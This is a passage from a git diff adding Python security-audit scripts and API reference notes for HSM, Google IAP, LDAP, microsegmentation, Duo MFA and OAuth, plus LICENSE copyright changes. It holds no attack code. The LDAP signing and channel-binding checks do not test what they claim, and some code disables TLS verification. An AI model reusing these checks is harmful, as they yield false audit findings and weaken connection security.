print(f"\n--- BACKUPS ({len(backups)}) ---") + for b in backups[:5]: + print(f" {b['backup_id']}: {b['state']} ({b['create_time']})") + + return {"clusters": clusters, "keys": keys, "backups": backups} + + +def main(): + parser = argparse.ArgumentParser(description="HSM Key Storage Agent") + parser.add_argument("--profile", help="AWS CLI profile") + parser.add_argument("--region", default="us-east-1", help="AWS region") + parser.add_argument("--audit", action="store_true", help="Run full audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.audit: + report = run_audit(args.profile, args.region) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/LICENSE b/skills/configuring-identity-aware-proxy-with-google-iap/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-identity-aware-proxy-with-google-iap/LICENSE +++ b/skills/configuring-identity-aware-proxy-with-google-iap/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md b/skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md new file mode 100644 index 00000000..0fdcd2f8 --- /dev/null +++ b/skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md @@ -0,0 +1,42 @@ +# Google Identity-Aware Proxy (IAP) — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| google-cloud-iap | `pip install google-cloud-iap` | IAP admin and settings management | +| google-cloud-resource-manager | `pip install google-cloud-resource-manager` | GCP project enumeration | + +## Key IAP Client Methods + +| Method | Description | +|--------|-------------| +| `IdentityAwareProxyAdminServiceClient()` | Create IAP admin client | +| `get_iap_settings(name=)` | Get IAP configuration for a resource | +| `update_iap_settings(iap_settings=, update_mask=)` | Update IAP settings | +| `get_iam_policy(resource=)` | Get IAP IAM bindings | +| `set_iam_policy(resource=, policy=)` | Set IAP IAM bindings | +| `list_tunnel_dest_groups(parent=)` | List TCP forwarding tunnel groups | + +## IAP IAM Roles + +| Role | Description | +|------|-------------| +| `roles/iap.httpsResourceAccessor` | Access IAP-protected web resources | +| `roles/iap.tunnelResourceAccessor` | Access IAP TCP forwarding tunnels | +| `roles/iap.admin` | Full IAP administration | + +## gcloud CLI Commands + +```bash +gcloud iap web enable --resource-type=app-engine +gcloud iap tcp enable --resource-type=compute --dest-group=GROUP +gcloud iap web get-iam-policy --project=PROJECT +gcloud compute ssh INSTANCE --tunnel-through-iap +``` + +## External References + +- [Google IAP Documentation](https://cloud.google.com/iap/docs) +- [google-cloud-iap Python Reference](https://cloud.google.com/python/docs/reference/iap/latest) +- [IAP Programmatic Auth](https://cloud.google.com/iap/docs/authentication-howto) diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/scripts/agent.py b/skills/configuring-identity-aware-proxy-with-google-iap/scripts/agent.py new file mode 100644 index 00000000..4ba8d584 --- /dev/null +++ b/skills/configuring-identity-aware-proxy-with-google-iap/scripts/agent.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +"""Google Identity-Aware Proxy (IAP) configuration agent using google-cloud-iap.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + from google.cloud import iap_v1 + from google.cloud import resourcemanager_v3 + from google.iam.v1 import iam_policy_pb2 +except ImportError: + print("Install: pip install google-cloud-iap google-cloud-resource-manager") + sys.exit(1) + + +def list_iap_tunnels(project_id): + """List IAP TCP forwarding tunnels.""" + client = iap_v1.IdentityAwareProxyAdminServiceClient() + parent = f"projects/{project_id}" + tunnels = [] + try: + request = iap_v1.ListTunnelDestGroupsRequest(parent=f"{parent}/iap_tunnel/locations/-") + for group in client.list_tunnel_dest_groups(request=request): + tunnels.append({ + "name": group.name, + "cidrs": list(group.cidrs), + "fqdns": list(group.fqdns), + }) + except Exception as e: + tunnels.append({"error": str(e)}) + return tunnels + + +def get_iap_settings(project_id, resource_type="web"): + """Get IAP settings for web resources.""" + client = iap_v1.IdentityAwareProxyAdminServiceClient() + resource_name = f"projects/{project_id}/iap_web" + try: + request = iap_v1.GetIapSettingsRequest(name=resource_name) + settings = client.get_iap_settings(request=request) + return { + "name": settings.name, + "access_settings": { + "cors_settings": str(settings.access_settings.cors_settings) if settings.access_settings else "", + }, + } + except Exception as e: + return {"error": str(e)} + + +def audit_iap_iam_policy(project_id): + """Audit IAM bindings for IAP-secured resources.""" + client = iap_v1.IdentityAwareProxyAdminServiceClient() + resource = f"projects/{project_id}/iap_web" + try: + policy = client.get_iam_policy(request={"resource": resource}) + bindings = [] + for binding in policy.bindings: + bindings.append({ + "role": binding.role, + "members": list(binding.members), + "condition": str(binding.condition) if binding.condition else None, + }) + return bindings + except Exception as e: + return [{"error": str(e)}] + + +def check_oauth_consent(project_id): + """Verify OAuth consent screen configuration.""" + return { + "check": "OAuth consent screen", + "project": project_id, + "requirements": [ + "Application type: Internal (for organization apps)", + "Support email: Valid group email", + "Authorized domains: Company domains only", + "Scopes: Minimal required (email, profile)", + ], + "verification_url": f"https://console.cloud.google.com/apis/credentials/consent?project={project_id}", + } + + +def run_audit(project_id): + """Execute IAP configuration audit.""" + print(f"\n{'='*60}") + print(f" GOOGLE IAP CONFIGURATION AUDIT") + print(f" Project: {project_id}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + settings = get_iap_settings(project_id) + print(f"--- IAP SETTINGS ---") + print(f" {json.dumps(settings, indent=2)}") + + bindings = audit_iap_iam_policy(project_id) + print(f"\n--- IAM BINDINGS ({len(bindings)}) ---") + for b in bindings: + if "error" not in b: + print(f" {b['role']}: {', '.join(b['members'][:3])}") + + tunnels = list_iap_tunnels(project_id) + print(f"\n--- TCP TUNNELS ({len(tunnels)}) ---") + for t in tunnels: + if "error" not in t: + print(f" {t['name']}: CIDRs={t['cidrs']}") + + consent = check_oauth_consent(project_id) + print(f"\n--- OAUTH CONSENT ---") + for req in consent["requirements"]: + print(f" - {req}") + + return {"settings": settings, "bindings": bindings, "tunnels": tunnels, "consent": consent} + + +def main(): + parser = argparse.ArgumentParser(description="Google IAP Audit Agent") + parser.add_argument("--project", required=True, help="GCP project ID") + parser.add_argument("--audit", action="store_true", help="Run full audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.audit: + report = run_audit(args.project) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-ldap-security-hardening/LICENSE b/skills/configuring-ldap-security-hardening/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-ldap-security-hardening/LICENSE +++ b/skills/configuring-ldap-security-hardening/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-ldap-security-hardening/references/api-reference.md b/skills/configuring-ldap-security-hardening/references/api-reference.md new file mode 100644 index 00000000..2a67184c --- /dev/null +++ b/skills/configuring-ldap-security-hardening/references/api-reference.md @@ -0,0 +1,39 @@ +# LDAP Security Hardening — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| ldap3 | `pip install ldap3` | LDAP protocol client for security auditing | + +## Key ldap3 Methods + +| Method | Description | +|--------|-------------| +| `Server(ip, port, use_ssl, tls, get_info=ALL)` | Create LDAP server with TLS config | +| `Connection(server, user, password, authentication=NTLM)` | Authenticated bind | +| `Connection(server, auto_bind=True)` | Anonymous bind test | +| `conn.search(base, filter, attributes)` | Search directory objects | + +## LDAP Security Settings (GPO) + +| Setting | Registry Path | Recommended Value | +|---------|--------------|-------------------| +| LDAP Signing | `HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity` | 2 (Require) | +| Channel Binding | `HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding` | 2 (Always) | +| Simple Bind | GPO: Network security: LDAP client signing requirements | Require signing | + +## Security Checks + +| Check | Risk | Severity | +|-------|------|----------| +| Anonymous bind allowed | User/group enumeration | CRITICAL | +| LDAPS not available | Cleartext credential transmission | HIGH | +| LDAP signing not enforced | NTLM relay via LDAP | HIGH | +| Channel binding disabled | Credential relay attacks | MEDIUM | + +## External References + +- [ldap3 Documentation](https://ldap3.readthedocs.io/) +- [Microsoft LDAP Signing](https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/enable-ldap-signing-in-windows-server) +- [CIS AD Benchmark](https://www.cisecurity.org/benchmark/microsoft_windows_server) diff --git a/skills/configuring-ldap-security-hardening/scripts/agent.py b/skills/configuring-ldap-security-hardening/scripts/agent.py new file mode 100644 index 00000000..9bd45b8d --- /dev/null +++ b/skills/configuring-ldap-security-hardening/scripts/agent.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python3 +"""LDAP security hardening audit agent using ldap3.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import ldap3 + from ldap3 import Server, Connection, ALL, NTLM, Tls + import ssl +except ImportError: + print("Install: pip install ldap3") + sys.exit(1) + + +def check_ldap_signing(server_ip): + """Check if LDAP signing is enforced.""" + try: + server = Server(server_ip, port=389, get_info=ALL) + conn = Connection(server, auto_bind=True) + info = server.info + conn.unbind() + return { + "check": "LDAP signing", + "port": 389, + "anonymous_bind": True, + "severity": "HIGH", + "recommendation": "Enforce LDAP signing via GPO: Domain controller: LDAP server signing requirements = Require signing", + } + except Exception as e: + return {"check": "LDAP signing", "error": str(e), "anonymous_bind": False} + + +def check_ldaps(server_ip): + """Check LDAPS (LDAP over TLS) availability.""" + try: + tls = Tls(validate=ssl.CERT_NONE) + server = Server(server_ip, port=636, use_ssl=True, tls=tls, get_info=ALL) + conn = Connection(server, auto_bind=True) + conn.unbind() + return {"check": "LDAPS", "port": 636, "available": True, "severity": "INFO"} + except Exception as e: + return {"check": "LDAPS", "available": False, "severity": "HIGH", + "recommendation": "Enable LDAPS by installing a certificate on the domain controller"} + + +def check_channel_binding(server_ip, domain, username, password): + """Check LDAP channel binding enforcement.""" + try: + server = Server(server_ip, get_info=ALL) + conn = Connection(server, user=f"{domain}\\{username}", password=password, + authentication=NTLM, auto_bind=True) + conn.unbind() + return { + "check": "Channel binding", + "simple_bind_allowed": True, + "severity": "MEDIUM", + "recommendation": "Enable LDAP channel binding via registry: LdapEnforceChannelBinding=2", + } + except Exception as e: + return {"check": "Channel binding", "error": str(e)} + + +def audit_anonymous_access(server_ip): + """Check for anonymous LDAP access and enumeration.""" + findings = [] + try: + server = Server(server_ip, get_info=ALL) + conn = Connection(server, auto_bind=True) + conn.search("", "(objectClass=*)", search_scope=ldap3.BASE, attributes=["*"]) + if conn.entries: + findings.append({ + "issue": "Anonymous rootDSE access", + "severity": "MEDIUM", + "detail": "Server exposes rootDSE information to unauthenticated clients", + }) + base_dn = server.info.other.get("defaultNamingContext", [""])[0] if server.info else "" + if base_dn: + conn.search(base_dn, "(objectClass=user)", attributes=["sAMAccountName"]) + if conn.entries: + findings.append({ + "issue": "Anonymous user enumeration", + "severity": "CRITICAL", + "detail": f"Anonymous bind can enumerate {len(conn.entries)} user objects", + }) + conn.unbind() + except Exception as e: + findings.append({"issue": "Anonymous access test", "error": str(e)}) + return findings + + +def run_audit(server_ip, domain=None, username=None, password=None): + """Execute LDAP security hardening audit.""" + print(f"\n{'='*60}") + print(f" LDAP SECURITY HARDENING AUDIT") + print(f" Target: {server_ip}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + signing = check_ldap_signing(server_ip) + print(f"--- LDAP SIGNING ---") + print(f" Anonymous bind: {signing.get('anonymous_bind', 'N/A')}") + print(f" Severity: {signing.get('severity', 'N/A')}") + + ldaps = check_ldaps(server_ip) + print(f"\n--- LDAPS (TLS) ---") + print(f" Available: {ldaps.get('available', 'N/A')}") + print(f" Severity: {ldaps.get('severity', 'N/A')}") + + anon = audit_anonymous_access(server_ip) + print(f"\n--- ANONYMOUS ACCESS ({len(anon)} findings) ---") + for a in anon: + if "error" not in a: + print(f" [{a['severity']}] {a['issue']}: {a.get('detail', '')}") + + if domain and username and password: + binding = check_channel_binding(server_ip, domain, username, password) + print(f"\n--- CHANNEL BINDING ---") + print(f" {binding.get('check', '')}: {binding.get('severity', '')}") + + return {"signing": signing, "ldaps": ldaps, "anonymous": anon} + + +def main(): + parser = argparse.ArgumentParser(description="LDAP Security Audit Agent") + parser.add_argument("--server", required=True, help="LDAP server IP") + parser.add_argument("--domain", help="AD domain name") + parser.add_argument("--username", help="LDAP username") + parser.add_argument("--password", help="LDAP password") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.server, args.domain, args.username, args.password) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-microsegmentation-for-zero-trust/LICENSE b/skills/configuring-microsegmentation-for-zero-trust/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-microsegmentation-for-zero-trust/LICENSE +++ b/skills/configuring-microsegmentation-for-zero-trust/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md b/skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md new file mode 100644 index 00000000..9899ad28 --- /dev/null +++ b/skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md @@ -0,0 +1,38 @@ +# Microsegmentation for Zero Trust — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| boto3 | `pip install boto3` | AWS security group audit | +| requests | `pip install requests` | Illumio / Guardicore API client | + +## Key boto3 EC2 Methods + +| Method | Description | +|--------|-------------| +| `describe_security_groups()` | List SGs with inbound/outbound rules | +| `authorize_security_group_ingress()` | Add inbound rule | +| `revoke_security_group_ingress()` | Remove inbound rule | + +## Illumio PCE API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/v2/orgs/{id}/workloads` | List managed workloads | +| GET | `/api/v2/orgs/{id}/sec_policy/draft/rule_sets` | List rule sets | +| PUT | `/api/v2/orgs/{id}/workloads/{id}` | Update workload enforcement mode | + +## Segmentation Enforcement Modes + +| Mode | Description | +|------|-------------| +| Visibility Only | Monitor traffic without blocking | +| Selective | Block specific flows, allow rest | +| Full | Deny all, allow by policy (zero trust) | + +## External References + +- [Illumio API Guide](https://docs.illumio.com/core/23.5/API-Reference/index.html) +- [NIST SP 800-207 Zero Trust Architecture](https://csrc.nist.gov/publications/detail/sp/800-207/final) +- [AWS Security Groups Best Practices](https://docs.aws.amazon.com/vpc/latest/userguide/security-group-rules.html) diff --git a/skills/configuring-microsegmentation-for-zero-trust/scripts/agent.py b/skills/configuring-microsegmentation-for-zero-trust/scripts/agent.py new file mode 100644 index 00000000..143418e5 --- /dev/null +++ b/skills/configuring-microsegmentation-for-zero-trust/scripts/agent.py @@ -0,0 +1,131 @@ +#!/usr/bin/env python3 +"""Microsegmentation audit agent for zero trust network enforcement.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests + requests.packages.urllib3.disable_warnings() +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +def audit_aws_security_groups(session): + """Audit AWS security groups for microsegmentation compliance.""" + import boto3 + ec2 = session.client("ec2") + findings = [] + for sg in ec2.describe_security_groups()["SecurityGroups"]: + for rule in sg.get("IpPermissions", []): + for ip_range in rule.get("IpRanges", []): + cidr = ip_range.get("CidrIp", "") + if cidr == "0.0.0.0/0": + findings.append({ + "sg_id": sg["GroupId"], + "sg_name": sg.get("GroupName", ""), + "port": rule.get("FromPort", "all"), + "cidr": cidr, + "severity": "HIGH", + "recommendation": "Restrict to specific CIDR blocks", + }) + elif "/" in cidr: + prefix = int(cidr.split("/")[1]) + if prefix < 24: + findings.append({ + "sg_id": sg["GroupId"], + "sg_name": sg.get("GroupName", ""), + "port": rule.get("FromPort", "all"), + "cidr": cidr, + "severity": "MEDIUM", + "recommendation": f"Narrow CIDR from /{prefix} to /32 or workload-specific range", + }) + return findings + + +def check_illumio_workloads(base_url, api_key, org_id): + """Check Illumio workload segmentation status.""" + headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"} + try: + resp = requests.get(f"{base_url}/api/v2/orgs/{org_id}/workloads", + headers=headers, verify=False) + resp.raise_for_status() + workloads = resp.json() + return [{ + "hostname": w.get("hostname", ""), + "enforcement_mode": w.get("enforcement_mode", ""), + "visibility_level": w.get("visibility_level", ""), + "online": w.get("online", False), + } for w in workloads[:20]] + except Exception as e: + return [{"error": str(e)}] + + +def generate_segmentation_policy(app_tiers): + """Generate microsegmentation policy recommendations.""" + policies = [] + for tier in app_tiers: + policies.append({ + "tier": tier["name"], + "allowed_inbound": tier.get("inbound_from", []), + "allowed_ports": tier.get("ports", []), + "deny_default": True, + "enforcement": "block", + }) + return { + "principle": "Zero Trust — deny all, allow by exception", + "policies": policies, + "example_tiers": [ + {"name": "web", "inbound_from": ["load-balancer"], "ports": [443]}, + {"name": "app", "inbound_from": ["web"], "ports": [8080]}, + {"name": "db", "inbound_from": ["app"], "ports": [5432]}, + ], + } + + +def run_audit(profile=None, region="us-east-1"): + """Execute microsegmentation audit.""" + import boto3 + session = boto3.Session(profile_name=profile, region_name=region) + print(f"\n{'='*60}") + print(f" MICROSEGMENTATION ZERO TRUST AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + sg_findings = audit_aws_security_groups(session) + print(f"--- SECURITY GROUP FINDINGS ({len(sg_findings)}) ---") + for f in sg_findings[:15]: + print(f" [{f['severity']}] {f['sg_id']} ({f['sg_name']}): port {f['port']} from {f['cidr']}") + + policy = generate_segmentation_policy([]) + print(f"\n--- RECOMMENDED SEGMENTATION MODEL ---") + print(f" Principle: {policy['principle']}") + for tier in policy["example_tiers"]: + print(f" {tier['name']}: allow from {tier['inbound_from']} on ports {tier['ports']}") + + return {"sg_findings": sg_findings, "policy": policy} + + +def main(): + parser = argparse.ArgumentParser(description="Microsegmentation Audit Agent") + parser.add_argument("--profile", help="AWS CLI profile") + parser.add_argument("--region", default="us-east-1", help="AWS region") + parser.add_argument("--audit", action="store_true", help="Run audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.audit: + report = run_audit(args.profile, args.region) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-multi-factor-authentication-with-duo/LICENSE b/skills/configuring-multi-factor-authentication-with-duo/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-multi-factor-authentication-with-duo/LICENSE +++ b/skills/configuring-multi-factor-authentication-with-duo/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md b/skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md new file mode 100644 index 00000000..b050e682 --- /dev/null +++ b/skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md @@ -0,0 +1,46 @@ +# Duo MFA Configuration — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| duo_client | `pip install duo_client` | Official Duo SDK for Python | +| requests | `pip install requests` | HTTP client for Admin API | + +## Duo Admin API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/admin/v1/users` | List all users with enrollment status | +| GET | `/admin/v1/users/{user_id}` | Get user details and devices | +| GET | `/admin/v1/info/summary` | Account summary (user count, integrations) | +| GET | `/admin/v2/logs/authentication` | Authentication logs (v2 with paging) | +| POST | `/admin/v1/users/enroll` | Enroll new user for MFA | +| POST | `/admin/v1/users/{id}/bypass_codes` | Generate bypass codes | + +## Authentication (HMAC Signing) + +```python +import duo_client +admin_api = duo_client.Admin( + ikey="DIXXXXXXXXXXXXXXXXXX", + skey="YourSecretKey", + host="api-XXXXXXXX.duosecurity.com" +) +users = admin_api.get_users() +``` + +## User Status Values + +| Status | Description | +|--------|-------------| +| active | User enrolled and can authenticate | +| bypass | MFA bypassed — security risk | +| disabled | User account disabled | +| locked_out | Temporarily locked due to failed attempts | + +## External References + +- [Duo Admin API Reference](https://duo.com/docs/adminapi) +- [duo_client Python SDK](https://github.com/duosecurity/duo_client_python) +- [Duo Auth API](https://duo.com/docs/authapi) diff --git a/skills/configuring-multi-factor-authentication-with-duo/scripts/agent.py b/skills/configuring-multi-factor-authentication-with-duo/scripts/agent.py new file mode 100644 index 00000000..74047551 --- /dev/null +++ b/skills/configuring-multi-factor-authentication-with-duo/scripts/agent.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Duo MFA configuration and audit agent using Duo Admin API.""" + +import json +import sys +import argparse +import hmac +import hashlib +import time +import email.utils +import urllib.parse +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class DuoAdminClient: + """Duo Admin API client for MFA management.""" + + def __init__(self, ikey, skey, host): + self.ikey = ikey + self.skey = skey + self.host = host + + def _sign(self, method, path, params): + now = email.utils.formatdate() + canon = [now, method.upper(), self.host.lower(), path] + body = urllib.parse.urlencode(sorted(params.items())) + canon.append(body) + canon_str = "\n".join(canon) + sig = hmac.new(self.skey.encode(), canon_str.encode(), hashlib.sha1).hexdigest() + auth = f"{self.ikey}:{sig}" + import base64 + return {"Date": now, "Authorization": f"Basic {base64.b64encode(auth.encode()).decode()}"} + + def _get(self, endpoint, params=None): + params = params or {} + headers = self._sign("GET", endpoint, params) + resp = requests.get(f"https://{self.host}{endpoint}", + headers=headers, params=params) + resp.raise_for_status() + return resp.json() + + def list_users(self): + return self._get("/admin/v1/users") + + def get_user(self, user_id): + return self._get(f"/admin/v1/users/{user_id}") + + def list_auth_logs(self, mintime=None): + params = {} + if mintime: + params["mintime"] = str(int(mintime)) + return self._get("/admin/v2/logs/authentication", params) + + def get_info_summary(self): + return self._get("/admin/v1/info/summary") + + +def audit_mfa_coverage(users_data): + """Audit MFA enrollment coverage.""" + users = users_data.get("response", []) + total = len(users) + enrolled = sum(1 for u in users if u.get("status") == "active" and u.get("phones")) + bypass = sum(1 for u in users if u.get("status") == "bypass") + disabled = sum(1 for u in users if u.get("status") == "disabled") + no_device = [u["username"] for u in users if not u.get("phones") and u.get("status") == "active"] + return { + "total_users": total, + "enrolled": enrolled, + "bypass_mode": bypass, + "disabled": disabled, + "no_device": no_device[:20], + "enrollment_rate": round(enrolled / max(total, 1) * 100, 1), + "findings": [ + {"severity": "HIGH", "issue": f"{bypass} users in bypass mode"} if bypass else None, + {"severity": "MEDIUM", "issue": f"{len(no_device)} users without MFA device"} if no_device else None, + ], + } + + +def analyze_auth_logs(logs_data): + """Analyze authentication logs for anomalies.""" + logs = logs_data.get("response", {}).get("authlogs", []) + denied = [l for l in logs if l.get("result") == "denied"] + fraud = [l for l in logs if l.get("result") == "fraud"] + return { + "total_authentications": len(logs), + "denied": len(denied), + "fraud_reported": len(fraud), + "top_denied_users": list(set(l.get("user", {}).get("name", "") for l in denied[:10])), + } + + +def run_audit(ikey, skey, host): + """Execute Duo MFA audit.""" + client = DuoAdminClient(ikey, skey, host) + print(f"\n{'='*60}") + print(f" DUO MFA CONFIGURATION AUDIT") + print(f" Host: {host}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + summary = client.get_info_summary() + info = summary.get("response", {}) + print(f"--- ACCOUNT SUMMARY ---") + print(f" Users: {info.get('user_count', 0)}") + print(f" Integrations: {info.get('integration_count', 0)}") + + users = client.list_users() + coverage = audit_mfa_coverage(users) + print(f"\n--- MFA COVERAGE ---") + print(f" Enrollment rate: {coverage['enrollment_rate']}%") + print(f" Bypass mode: {coverage['bypass_mode']}") + print(f" No device: {len(coverage['no_device'])}") + + return {"summary": info, "coverage": coverage} + + +def main(): + parser = argparse.ArgumentParser(description="Duo MFA Audit Agent") + parser.add_argument("--ikey", required=True, help="Duo integration key") + parser.add_argument("--skey", required=True, help="Duo secret key") + parser.add_argument("--host", required=True, help="Duo API hostname") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.ikey, args.skey, args.host) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-network-segmentation-with-vlans/LICENSE b/skills/configuring-network-segmentation-with-vlans/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-network-segmentation-with-vlans/LICENSE +++ b/skills/configuring-network-segmentation-with-vlans/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-oauth2-authorization-flow/LICENSE b/skills/configuring-oauth2-authorization-flow/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-oauth2-authorization-flow/LICENSE +++ b/skills/configuring-oauth2-authorization-flow/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-oauth2-authorization-flow/references/api-reference.md b/skills/configuring-oauth2-authorization-flow/references/api-reference.md new file mode 100644 index 00000000..af483f02 --- /dev/null +++ b/skills/configuring-oauth2-authorization-flow/references/api-reference.md @@ -0,0 +1,43 @@ +# OAuth 2.0 Authorization Flow — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | HTTP client for OAuth endpoints | +| authlib | `pip install authlib` | Full OAuth 2.0 / OIDC client library | +| PyJWT | `pip install PyJWT[crypto]` | JWT token validation and inspection | + +## OIDC Discovery Endpoint + +``` +GET {issuer}/.well-known/openid-configuration +``` + +Returns: authorization_endpoint, token_endpoint, jwks_uri, supported grant types, scopes. + +## OAuth 2.0 Grant Types + +| Grant Type | Use Case | Security | +|------------|----------|----------| +| authorization_code | Server-side apps | Recommended with PKCE | +| client_credentials | Machine-to-machine | Service accounts only | +| implicit | (DEPRECATED) SPAs | Avoid — tokens in URL fragment | +| password | (DEPRECATED) Legacy | Avoid — credentials exposed to client | +| urn:ietf:params:oauth:grant-type:device_code | IoT/CLI | Approved for limited-input devices | + +## Security Best Practices + +| Practice | RFC | +|----------|-----| +| PKCE (Proof Key for Code Exchange) | RFC 7636 | +| Token Binding | RFC 8471 | +| DPoP (Demonstrating Proof of Possession) | RFC 9449 | +| Sender-Constrained Tokens | OAuth 2.0 Security BCP | + +## External References + +- [RFC 6749 OAuth 2.0](https://datatracker.ietf.org/doc/html/rfc6749) +- [RFC 7636 PKCE](https://datatracker.ietf.org/doc/html/rfc7636) +- [OAuth 2.0 Security BCP](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics) +- [authlib Documentation](https://docs.authlib.org/) diff --git a/skills/configuring-oauth2-authorization-flow/scripts/agent.py b/skills/configuring-oauth2-authorization-flow/scripts/agent.py new file mode 100644 index 00000000..f9eee381 --- /dev/null +++ b/skills/configuring-oauth2-authorization-flow/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""OAuth 2.0 authorization flow security audit agent.""" + +import json +import sys +import argparse +import urllib.parse +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +def discover_oauth_endpoints(issuer_url): + """Discover OAuth 2.0 / OIDC endpoints from well-known configuration.""" + discovery_url = f"{issuer_url.rstrip('/')}/.well-known/openid-configuration" + try: + resp = requests.get(discovery_url, timeout=10) + resp.raise_for_status() + config = resp.json() + return { + "issuer": config.get("issuer", ""), + "authorization_endpoint": config.get("authorization_endpoint", ""), + "token_endpoint": config.get("token_endpoint", ""), + "userinfo_endpoint": config.get("userinfo_endpoint", ""), + "jwks_uri": config.get("jwks_uri", ""), + "supported_grant_types": config.get("grant_types_supported", []), + "supported_scopes": config.get("scopes_supported", []), + "supported_response_types": config.get("response_types_supported", []), + "token_endpoint_auth_methods": config.get("token_endpoint_auth_methods_supported", []), + } + except Exception as e: + return {"error": str(e)} + + +def audit_oauth_security(config): + """Audit OAuth configuration for security issues.""" + findings = [] + if "implicit" in config.get("supported_grant_types", []): + findings.append({ + "issue": "Implicit grant type supported", + "severity": "HIGH", + "recommendation": "Disable implicit flow; use authorization code + PKCE", + }) + if "password" in config.get("supported_grant_types", []): + findings.append({ + "issue": "Resource owner password grant supported", + "severity": "MEDIUM", + "recommendation": "Disable ROPC grant; use authorization code flow", + }) + auth_methods = config.get("token_endpoint_auth_methods", []) + if "none" in auth_methods: + findings.append({ + "issue": "Token endpoint allows unauthenticated clients", + "severity": "MEDIUM", + "recommendation": "Require client_secret_basic or private_key_jwt", + }) + if "code" in 